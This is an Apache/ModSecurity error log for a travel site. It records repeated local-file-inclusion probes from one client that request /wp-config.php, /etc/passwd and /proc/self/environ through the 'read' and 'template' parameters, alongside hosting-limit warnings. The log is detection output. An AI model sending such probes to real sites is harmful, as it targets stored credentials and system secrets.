[Fri Jul 17 08:55:54.883314 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:read: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfkgAAAA8"]
[Fri Jul 17 08:55:54.883974 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxfkgAAAA8"]
[Fri Jul 17 08:55:54.884107 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.884416 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwu1pLmPpy2r_2CxfkgAAAA8"]
[Fri Jul 17 08:55:54.890055 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:read: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg7FYe46zHK_jL3QDQAAABk"]
[Fri Jul 17 08:55:54.890168 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:read: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg7FYe46zHK_jL3QDQAAABk"]
[Fri Jul 17 08:55:54.890653 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg7FYe46zHK_jL3QDQAAABk"]
[Fri Jul 17 08:55:54.890791 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.891122 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwg7FYe46zHK_jL3QDQAAABk"]
[Fri Jul 17 08:55:54.896455 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:read: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTWgAAAAM"]
[Fri Jul 17 08:55:54.896585 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:read: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTWgAAAAM"]
[Fri Jul 17 08:55:54.897188 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwhHlOGcokz2QIwTTWgAAAAM"]
[Fri Jul 17 08:55:54.897352 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.897660 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwhHlOGcokz2QIwTTWgAAAAM"]
[Fri Jul 17 08:55:54.901766 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.904970 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.905994 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:read: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96PgAAAAw"]
[Fri Jul 17 08:55:54.906507 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96PgAAAAw"]
[Fri Jul 17 08:55:54.906653 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.906934 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwol9vhFBGA6D8l96PgAAAAw"]
[Fri Jul 17 08:55:54.916538 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:read: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS6QAAAB4"]
[Fri Jul 17 08:55:54.916680 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:read: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS6QAAAB4"]
[Fri Jul 17 08:55:54.917164 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS6QAAAB4"]
[Fri Jul 17 08:55:54.917301 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.917576 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwlCBpfuYyhJ140vS6QAAAB4"]
[Fri Jul 17 08:55:54.938607 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.940426 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:read: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6qwAAABE"]
[Fri Jul 17 08:55:54.940557 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:read. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:read: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6qwAAABE"]
[Fri Jul 17 08:55:54.941169 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwoe39YUk0SgV8AU6qwAAABE"]
[Fri Jul 17 08:55:54.941290 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.941561 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwoe39YUk0SgV8AU6qwAAABE"]
[Fri Jul 17 08:55:54.946554 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.954010 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.955565 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.955642 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.961729 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.974204 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.977474 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.979356 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:template: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxflAAAAA8"]
[Fri Jul 17 08:55:54.979860 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwu1pLmPpy2r_2CxflAAAAA8"]
[Fri Jul 17 08:55:54.979965 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.980292 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwu1pLmPpy2r_2CxflAAAAA8"]
[Fri Jul 17 08:55:54.983957 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:template. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:template: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg7FYe46zHK_jL3QDwAAABk"]
[Fri Jul 17 08:55:54.984595 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg7FYe46zHK_jL3QDwAAABk"]
[Fri Jul 17 08:55:54.984732 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.985057 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwg7FYe46zHK_jL3QDwAAABk"]
